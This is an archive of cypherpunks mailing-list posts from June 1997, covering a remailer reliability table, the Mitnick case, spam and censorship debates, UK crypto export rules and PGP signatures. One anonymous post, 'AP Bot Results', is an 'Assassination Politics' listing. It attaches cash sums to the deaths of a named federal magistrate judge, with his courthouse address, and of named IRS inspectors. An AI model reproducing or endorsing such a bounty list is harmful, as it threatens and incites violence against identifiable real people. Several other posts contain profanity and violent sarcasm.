$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 23 Jun 97 6:48:07 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
squirrel mix@squirrel.owl.de              --+-++++++++  1:38:27  99.98%
weasel   config@weasel.owl.de             --+-++++++++  1:39:11  99.98%
balls    remailer@huge.cajones.com         -+#######*#     9:47  99.93%
replay   remailer@replay.com              *-++********     4:18  99.90%
hidden   remailer@hidden.net              __.+-#######  7:22:42  99.88%
reno     middleman@cyberpass.net          -.---.-+++++  2:14:42  99.82%
winsock  winsock@rigel.cyberpass.net      ---.--.----   4:58:14  99.82%
jam      remailer@cypherpunks.ca          + ++**  ****    18:08  99.57%
cyber    alias@alias.cyberpass.net        +++**++*****    12:43  99.56%
lucifer  lucifer@dhp.com                  +-++ +++++++    41:58  99.38%
mix      mixmaster@remail.obscura.com     ..-.----.- -  9:33:04  99.32%
nym      config@nym.alias.net                 #*****##     1:05  88.62%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 23 Jun 1997 19:46:56 +0800
To: cypherpunks@toad.com
Subject: Feds Recant on Mitnick
Message-ID: <1.5.4.32.19970623111954.006ba048@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



     23 June 1997:

     New twist/ Feds Recant on Mitnick's Fugitive Status 

     Back in 1994, a supposedly fleeing Kevin Mitnick told anyone 
     who would listen he really wasn't a fugitive from justice. 
     He claimed to be just a paranoid hacker who didn't want to 
     stick around once his probation was up. As it turns out, he 
     may have been telling me the truth. In a federal court in Los 
     Angeles, the government admitted it had made a mistake in saying 
     that Mitnick was on the lam. 

     The admission may put an entirely different twist on the case.
     If Mitnick wasn't really a fugitive, a couple of probation
     violations mistakenly escalated into one the biggest manhunts
     in cyberspace. Petty offenses by Mitnick -- probably
     punishable by an extension of his probation -- spun into a
     nationwide cat-and-mouse game that drew a frenzy of media
     hype. Along the way, Mitnick, who may have been no more
     than a scofflaw, instead became the notorious criminal
     mastermind the authorities apparently wanted him to be. 

----------

Full report:

   http://jya.com/kmtwist.txt

Crypto news:

S.F. Judge Likely to Uphold Encryption Ruling
EEMA/ EEMA Slams UK Government Over Encryption Restrictions 
Two reports on prospects for the McCain/Kerrey bill
Two reports on the import of the DES crack

   http://jya.com/cn062397.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 00:55:47 +0800
To: cypherpunks@Algebra.COM
Subject: How did these people find our list?
In-Reply-To: <v03102803afd39f286d13@[207.167.93.63]>
Message-ID: <v03102801afd44ad76fad@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:31 AM -0700 6/23/97, Philip A. Mongelluzzo wrote:

>I still am concerned about kids being subject to material that is
>inappropriate for their age group (what ever that may be).  So how do I
>insure that my son/daugher does not get their hands on _THIS_ material?

Presumably by controlling them yourself. You can't demand that others limit
their thoughts, or their fucking words [added deliberately] just so that
little Johnny and Suzie won't ever be exposed to four letter words or even
images more suitable for adults.

If you don't want them exposed, don't let them be exposed. Simple.

>Twenty seven years ago I took an oath to do whatever was needed to protect
>and defend the constitution against all enemies (domestic and foreign)  But

Like the Congressvermin, you took the oath but failed to understood what
you were supposdly defending. (Actually, not to sound disrespectful, but as
there has been no credible threat of attack or invasion of the states in
America in at least 170 years, what you were largely agreeing to protect
and defend were the force projections of the U.S. military to places like
Viet Nam, Lebanon, Cuba, and Europe; and you were also protecting the
CIA-controlled C-5 cargo planes importing drugs into the U.S.)

"Congress shall make no law" does _not_ mean "Congress shall pass more and
more laws designed to protect children and other impressionable persons
against thoughts they shouldn't be having."



>what is the solution to this problem from a parents point of view?  Simple
>- control the material.  Make it like liquor, guns, booze.  Oops.. for some
>reason this is a violation of the 1st amendment to!  Ok, my mistake, its my
>problem.  That's easy, no Internet access.  Now my kid is at a
>disadvantage!  I keep loosing here.  I don't like the way this is beginning
>to feel!!

Your problem, not mine, and not this list's, and not government's. If you
don't want your child to read certain items, or see certain things, or
think certain thoughts, it's up to you to control this.

Exactly analogous to a Muslim parent not wanting his child exposed to
heathen thoughts and images. And so on. (Really, it is precisely
analogous...think about it.)

>I'm sure that the community on this list has discussed this problem at
>length.  What is the best defense?  How do we get the message out or,
>better yet, deliver it?

No, actually we have not discussed this "problem" at length. No reason too,
as this is not a list about parenting and parental techniques and moral
teachings for children.

>Whatever that is, we need to do the same thing for the 2nd Ammendment, and
>the 3rd, and so on.

Nope. You're on the wrong list. "Gun control" means being able to aim and
fire accurately and quickly.

>
>Just another citizen wondering if anything is going to be left for our
>grandchildren.

Not if people like you demand that government "do something!"


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 24 Jun 1997 00:25:15 +0800
To: jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
Message-ID: <199706231604.JAA14744@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 23 Jun 97 at 22:52, Jason William RENNIE wrote:

> wouldn't make it worth it. Doesn't aybody in the US want to take it up
> and kill spam once and for all ?? You only need the legal precedent
> set.

Spam is free speech...  We, here in the USofA don't want any new 
laws, thank you.  We've got way more than we need right now.  Spam 
will never die!  Spam is free speech!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 00:57:03 +0800
To: Lee Tien <cypherpunks@cyberpass.net
Subject: Re: McCain's War for Security
In-Reply-To: <1.5.4.32.19970622192626.006d1514@pop.pipeline.com>
Message-ID: <v03102803afd44f7f8796@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:23 PM -0700 6/22/97, Lee Tien wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Correct me if I'm wrong, but wasn't there also stuff in the article about
>how McCain had been badly stung by some "ethics" problem, which apparently
>was not really very serious but disturbed him personally and tainted his
>image?

Are you referrring to him being one of the four or five in the "S & L
scandal"? MCain was indeed one of them, along with Alan Cranston of
California, who elected not to run again, and several others. This was
indeed a big new story, lasting at least two years, and McCain's reputation
was hurt badly by it.

>If that's a correct remembering, then that sense of a need to restore his
>image may have made McCain a perfect target for "a treatment" by a clever
>Administration gunning for Pro-CODE (sponsored by Burns, a less powerful
>member of the Commerce Committee chaired by McCain, and someone already on
>McCain's bad side according to Declan).

And we may speculate that FinCEN and CIA had the goods on him, vis-a-vis
kickbacks, illegal contributions, bribes, and suchlike.

(FinCEN is the new J. Edgar Hoover, having dossiers of all financial
dealings. These dossiers can be used to make Congressvermin more compliant.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 24 Jun 1997 00:28:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: spam on this list
Message-ID: <199706231611.JAA14911@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain




> On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:
> 
> > Twenty seven years ago I took an oath to do whatever was needed to
> > protect and defend the constitution against all enemies (domestic
> > and foreign)

Yeah, I took one, too.  You think spam is an enemy?  HAH! 

> >  But
> > what is the solution to this problem from a parents point of view?
> >  Simple - control the material.

What is the problem from a non-parent (by choice) point of view?  
Simple: control your fucking kids!  That's the number one problem in 
the USofA today.  Parents let their fucking kids run wild.  Mom 
works, Dad works, Kids are free all day to cause trouble, and send 
spam.

Spam is free speech!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 23 Jun 1997 21:51:54 +0800
To: mark@unicorn.com (Mark Grant)
Subject: Re: New PGP signatures
In-Reply-To: <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>
Message-ID: <199706231334.JAA15896@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



| Could I humbly request that people don't post the new (SHA?) PGP
| signatures to the list for the time being as it's a pain in the ass for
| those of us outside the US who don't yet have the ability to read them.
| PGP 2.6.x error handling doesn't know what to do with them and it breaks
| our mail-processing code.

	Better yet, could PGP release source code so those of us not
lucky enough to own a Mac, Windows, or other supported platform can
move ahead with porting?

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 23 Jun 1997 22:00:34 +0800
To: cypherpunks@toad.com
Subject: AP Bot Results
Message-ID: <199706231344.JAA17712@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



"Dead Lucky" is an Assassination Politics Bot operated in response to
the illegal and unconstitutional imprisonment of an American citizen
in retaliation for exercising his right of free speech.
It is the view of the operator's of this AP Bot that since it was the
illegal and unconstitutional actions of Federal employees which was
responsible for the implementation of this AP Bot and several others,
that they should accordingly be subjected to imprisonment without bail
for endangering the lives of others, including several Cypherpunks.

Leading eCa$h candidates for dying at an opportune time to make some
perennial loser "Dead Lucky" are:

e$ 2,610.02
J. Kelley Arnold, United States Magistrate Judge,
  Union Station Courthouse, 1717 Pacific Avenue, Tacoma, Washington

e$ 1,500.48
Jeffrey Gordon, Inspector with the Internal Revenue Service,
  Internal Security Division

e$ 758.00
Inspector Cindy Nelson

e$ 514.02
Cindy Brown

Leading Cypherpunks:
Graham John-Bullers
TruthMonger
Kent Crispin

Leading Contributors/Bettors:
The James Gang
The Dalton Gang
The Bell Gang
William Geiger III






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 22:04:40 +0800
To: cypherpunks@cyberpass.net
Subject: off-the-record chats with spooks (was Re: spook pressure on crypto exports)
In-Reply-To: <199706222306.AAA01385@server.test.net>
Message-ID: <199706230846.JAA00380@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




There is a tendency I think to be drawn into spooks, civil servants,
and polticians requests for off the record comments on how politics
really works.  (The politics of favours, the politics of spooks
wishing to intimidate people into censoring themselves to operating
according to unwritten laws (laws which don't exist, but which the
spooks wish did, and so pretend do exist)).

I think: if they said it, hold them to it.  Ignore off the cuff
requests, if they have the force of law behind them (it boils down to
a threat to kill you, or imprison you if you disagree), that they
should also get you to behave nicely and keep quiet your experience of
the way they work in practice sucks, there's too much of it in
politics in general, it belongs on a bill-board not in quiet off the
record moments after crypto-conferences.

Of course this might have the effect that spooks don't want to talk to
you, or are more careful what they say, but who cares.

Also... some clarification on the UK export situation, which I talked
about in my last post in this thread:

One concern about some of this stuff, is that often people are
representing some company when interacting with spooks, where they 
would be covered by an NDA with the company.  Well OK.  There are 
still remailers to explain the situation without giving enough detail
to identify yourself.  Sometimes there are no NDAs.

The export situation has slightly conflicting parties, the DTI (civil
servants, Dept. of Trade & Industry) and GCHQ.  DTI say you can export
intangibly, but gave a whole list of reasons why a "responsible" company
surely would not want to do anything disreputable, like have different views
of export controls from the government, here from:

	http://www.dcs.ex.ac.uk/~aba/ukexport/dti-let.txt

: 9.  Hard to see what practical advantage there is to exporters in
: exporting technology by intangible means because they could get
: licences anyway if no concerns about the export itself.
: 
: 10.  And if concerns are sufficient for a licence to be refused, what
: reputable exporter would wish to export it by any means?

CESG/GCHQ seem less keen to admit the intangible export loop hole
exists, preferring to pretend it doesn't exist until pressed.

The DTI at least has contingency plans for this (from same letter):

: 4.  Government is aware of the potential for abuse of the spirit of
: export controls. If it appears HMG's export control policies are being
: undermined, then further action may have to be considered.

As I said in the previous post: the GCHQ off-the-record low down on this is
that if you export stuff intangibly (which the DTI at least will admit
reluctantly that you can do), then they will deny your tangible export
requests.  If you are a business, this might cause you to think carefully
about using the intangible export loop-hole.  Or perhaps about discussing
too much the way this works with journalists or otherwise embarrassing them. 
Which is of course what they want: an unwritten law which they have power to
decide as they wish.

Wouldn't it be fun if people in government/spookdom actually participated in
open discussions such as this?  (People like say Nigel Hickson, who got
roasted at the LSE crypto conference recently on the DTI/GCHQ/government
infamous TTP paper, his boss David Hendon slunk off early to avoid facing
the music during open question time). (David Hendon not to be confused with
David Henson, the ex-spook now in some governmental Euro gakkers group)

But they aren't going to participate because they operate best in
half-light, they hate harsh bright lights of open discourse.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Mon, 23 Jun 1997 23:52:11 +0800
To: "ET" <cypherpunks@toad.com>
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <v03007804afd45065d675@[172.17.1.61]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:05 PM -0400 6/20/97, ET wrote:
>I caught the Headline News mention of the DES crack and it
>unfortunately put the wrong spin on things.
>
>I can't remember it word for word, but it went like this:
>"If you're going to decrypt financial transactions you'd better
>be prepared to get 1000 computers and spend 3 months on
>the project."

At least Harry Houdini made it look easy when *he* cracked state of the art
security technology...

Rick.
smith@securecomputing.com      secure computing corporation
"Internet Cryptography" soon in print http://www.visi.com/crypto/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 01:36:37 +0800
To: cypherpunks@Algebra.COM
Subject: Anti-SPAM SPAM should be banned by Congress
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <v03102804afd460eea020@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I really resent and hate spammers like Jason William RENNIE, who keeps
spamming me with his repetitive views about SPAM!

I want to know why Cypherpunks are not working on getting laws passed to
stop SPAM like this from reaching me! I want to know why Cypherpunks have
not gotten laws passed forcing Jason William RENNIE and Philip A.
Mongelluzzo to stop sending me SPAM I don't want to read!

When I took my oath, I promised to defend and protect the perquisites of
Congress, and I promised to uphold the laws of the United States, including
the one which says "Congress shall make laws which they claim will protect
the children, regulate commerce, control bad thoughts, uphold Christian
values, and provide for the common welfare system."

So, you Cypherpunks, are you up to the challenge to get these laws passed?

At 5:52 AM -0700 6/23/97, Jason William RENNIE wrote:

>and i can get off the list. Having it sent to MY email box is NOT my
>choice and my rights to choose are being infringed by these idiot
>shoveling there crap into my email box.

That's why I want a law banning your anti-SPAM SPAM from being spammed into
my mailbox!

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 24 Jun 1997 00:56:50 +0800
To: Charles Platt <cp@panix.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <Pine.SUN.3.91.970620000629.13057D-100000@panix.com>
Message-ID: <Pine.LNX.3.95.970623103902.9790B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




Charles:

This has nothing to do with federal crypto regs. It just
had your email addr in it.

Got a question:

Are you the Charles Platt who wrote "The Gas"?

If so, thats great!

I surfed by it yesterday on the Loompanics site.

Jim Burnes
jim.burnes@ssds.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 24 Jun 1997 01:58:41 +0800
To: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.96.970623100514.944B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:

> I certainly agree with free speech and understand how it can be manipulated
> by the scum bags at large in society, _BUT_ free speech is free speech.
> The warts come from an ever increasing BENT society.

No you don't.  You believe in free speach for the things that do not tweak
your worldview.  I am certainly willing to bet that if you had the chance
to remove the rights of the "bent" people from expressing their views, you
would not hesitate in the slightest.

> I still am concerned about kids being subject to material that is
> inappropriate for their age group (what ever that may be).  

"Whatever that may be" is a very telling statement.  How can you tell what
is "appropreate" or "not".  What the media tells you?  What your religious
leaders tell you?  What the voices in your head tell you?  What the
government tells you?  All of those values are subjective.  They depend on
what you may or may not believe is "harmful".  Most of that is based on
cultural conditioning.

>So how do I
> insure that my son/daugher does not get their hands on _THIS_ material?

Kill them now.  Stick them in a box and feed them through a slot in the
door. Gouge out their eyes. Cut off their hands.

> Twenty seven years ago I took an oath to do whatever was needed to protect
> and defend the constitution against all enemies (domestic and foreign)  But
> what is the solution to this problem from a parents point of view?

You view the constitution as a problem?  Free speach as a problem?

Or maybe you have a problem that your children might learn about things
that you disapprove of?  Maybe they might read something that shows them
that sex is a part of life, not just something that is a side benefit of
marriage.  Maybe they might learn that sex is fun!  Maybe they will find
out that the religion their parents saddled them with is based on lies and
urban legend.  maybe they will find that their government is not so kind
and benevolent after all.  Maybe they will find out that their parents are
human and make mistakes.  Or maybe they will even figure out that the
material the parents are so afraid of are only harmful to the parents...

>  Simple
> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
> reason this is a violation of the 1st amendment to!

It is also an impossibility.  People have tried to control the natural
interest in sex since the dawn of time.  Has not worked yet.  Porn has
existed since man discovered woman.  Some of the earliest existing films
are porno movies.  What has changed is access and awareness.  Until
reletive reciently porn has been more underground.  But with the spread of
technology, it has become easier and easier to supply the demand for such
things.

Or as a certain math professor once said... "Dirty books are fun!"

>  Ok, my mistake, its my
> problem.  That's easy, no Internet access.  Now my kid is at a
> disadvantage!  I keep loosing here.  I don't like the way this is beginning
> to feel!!

Your kid is already at a disadvantage.  His parents have lost perspective.

> I'm sure that the community on this list has discussed this problem at
> length.  What is the best defense?  How do we get the message out or,
> better yet, deliver it?  

You assume that it actually is a problem.  Your moral qualms over pictures
of sexual activity does not a problem make.

it is people like yourself who are activly destroying what little remains
of the constitution.  You want an exception for this and a rationalization
for that until thre is nothing left but the blandest and most tasteless
thoughts and speach.

> Whatever that is, we need to do the same thing for the 2nd Ammendment, and
> the 3rd, and so on.

Like actually follow it?  Wow!  That would be a first.

> The challenge to write code could be fun, but maybe we should use our
> collective wisdom to deliver the best of the best solutions (there may be
> more than one) to our elected officials.  Load their mailboxes up with
> solutions to problems.  Sooner or later more than one of them is going to
> think its his/her idea and push it along.  Web sites can be set up to
> assist them with details.  I'm sure you get the idea.

You are talking to the wrong group of people.  What you are asking for is
a way to censor the masses.

Anything an adult can get, a child can get.

Attempts to censor children and control what they hear, see and feel are
vague attempts to do the same to adults.  You cannot control the
information feed to children without controling the information feed for
adults. (But deep down in your heart you would like to see that as well.)

> Just another citizen wondering if anything is going to be left for our
> grandchildren.

You think this information will harm them?  Actually the control freak
mentality you want to impose is far far worse.  In actuality, much of the
problems you would like to blame on porn are, in actuality, borne out of
this country's hypocracy and neurosis about sex and sexuality.  the reason
people are so fucked up about fucking is because they have been taught
that sex is somehow wrong and shameful and dirty.  That appreciating the
beauty of the sexual act is somehow more vile and disgusting than showing
someone shot full of holes.

I think you need to examine WHY this information makes you uncomfortable.
You might learn something about yourself.  But don't expect us to help
inflict your sickness on the minds of your children.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 24 Jun 1997 00:18:26 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
In-Reply-To: <Pine.SOL.3.91.970623224324.26980A-100000@hardy.ocs.mq.edu.au>
Message-ID: <Pine.BSF.3.91.970623103511.8539B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Can we "can" the "SPAM" discussion?  (ouch)

As one who has beaten this subject to death on this list in the past, I 
can attest that there is little new ground to cover, few minds to be 
changed, and no relevence to crypto.
 
Perhaps we can start a " SPAM" mailing list. I wonder if the Hormel folks
have a sense of humor? ;) (Is it Hormel? Can Dimitri get in touch with 
his buddy Spamford and get the real story?)

(Disclaimer)
OTOH, I support your right to freely express your opinions in this forum 
and wouldn't dream of censoring you.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 02:21:07 +0800
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: New PGP signatures
In-Reply-To: <3.0.1.32.19970623133802.009b2800@gateway.grumman.com>
Message-ID: <Pine.3.89.9706231057.A3379-0100000@netcom22>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Rick Osborne wrote:

> bennett_t1@popmail.firn.edu wrote:
> >some asshole forgot to make PGP 5.0 freeware RSA key-generating
> 
> Okay, silly question here, but what's to stop someone from adding that
> capability once the source is available?  (And if they knew they were going
> to publish the source, why not just add the capability in the first place?)

Because there is no reason for PGP to enourage people to generate new
RSA/MD5 keys when MD5 is about to go downhill.

The source is being scanned as we speak, UNIX versions will obviously be 
forthcoming soon, if you want to generate RSA keys, use PGP 2.6.2.

Get a clue,
--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Mon, 23 Jun 1997 09:37:45 +0800
To: cypherpunks@toad.com
Subject: spam on this list
Message-ID: <Pine.SOL.3.91.970623112514.26562A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



NO i dont wish to post any, i just want to know if this list has spam 
sent to it ?? I started reciveing various pieces in the last couple of 
days and i'm trying to identify the source. 

thanx in advance,

jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 24 Jun 1997 00:00:52 +0800
To: cypherpunks@toad.com
Subject: Re: spam on this list
In-Reply-To: <199706230222.TAA04375@adnetsol.adnetsol.com>
Message-ID: <33AEA5D0.43193BD4@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> At 7:51 PM -0700 6/22/97, Jason William RENNIE wrote:
>
> >Thats fine but, i dont want to be invited to look at nasty naked
> >cheerleaders. And isn't it somewhat problematic when a 15 yr old
> looks at
> >the mail box ?? BEsides i hate junk mail too, and if i could stick a
> no
> >junk mail sticker on my email i would.

Alrighty, see that little key on your keyboard that says "Delete?"  I
learned to use that if I don't want to be bothered by spam.  Whining
about it does nothing.  Or you can do the anti-spamming e-mail address
idea.

> You're on the wrong list. We favor free speech, including inviting
> 15-year-olds to look at pictures of their choosing on the Net. They
> don't
> _have_ to look, after all.

I think people need to learn that if you don't like it, don't watch it.
Out of sight, out of mind.

> Perhaps you should join forces with Sen. McCain and Sen. Feinswine, or
> your
> versions in your own country. Or move to Iran. Or something.

That McCain with his little "Secure Public Networks Act."  That was the
best example that CONgress just doesn't give a rat's arse about us.
They trigger the "nay" key whenever someone says those magic little
words: Child Pornongraphy.  About .02% of America trades kiddie porn,
and I bet half of them don't even use PGP.  But then again,
congresscritters don't know shit about technology.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 24 Jun 1997 01:49:29 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <3.0.2.32.19970621012312.00767210@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.970623113137.9790C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 21 Jun 1997, Bill Stewart wrote:

> At 12:14 AM 6/20/97 -0400, Charles Platt wrote:
> >I'm not saying I _want_ an agency making decisions for us; only that it 
> >would be slightly less hideously exasperating than our present situation, 
> >where technoliterates are being ruled by technoilliterates.
> 
> 

I'm not sure anymore who wrote what, but I think the idea
of having another three-letter agency involved with this is
very dangerous.

Lets take the almost unlimited abuses of the FDA, BATF, IRS etc.  These
agencies have been assigned law enforcement powers by proxy.  The
laws they enforce are administrative law.  There is nothing to
stop them from declaring administrative regs and then calling out
the jack-booted nazi's to enforce them.

Tell me this isn't true.

Plenty of cases of the FDA and BATF doing just that.

Have a better one,

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 24 Jun 1997 03:01:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Anti-SPAM SPAM should be banned by Congress
Message-ID: <199706231843.LAA18807@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 23 Jun 97 at 10:29, Tim May wrote:

> That's why I want a law banning your anti-SPAM SPAM from being
> spammed into my mailbox!

Anti-SPAM SPAM is free speech.  

God, this whole free speech thing is way out of control. 
Legislation is in order, and fast, before it gets any worse.  And 
this "free speech" thing seems to be ALL OVER the internet.  
Something needs to be done.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 24 Jun 1997 19:10:02 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <199706222220.AAA26096@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970623120402.933A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Why can't escrowed ecash support digital commerce?  Strong crypto with
> a government backdoor.  That's what you're offered.  Prove it can't work.


1. Government has copy of keys
2. Government misuses keys.

Simple enough for you?

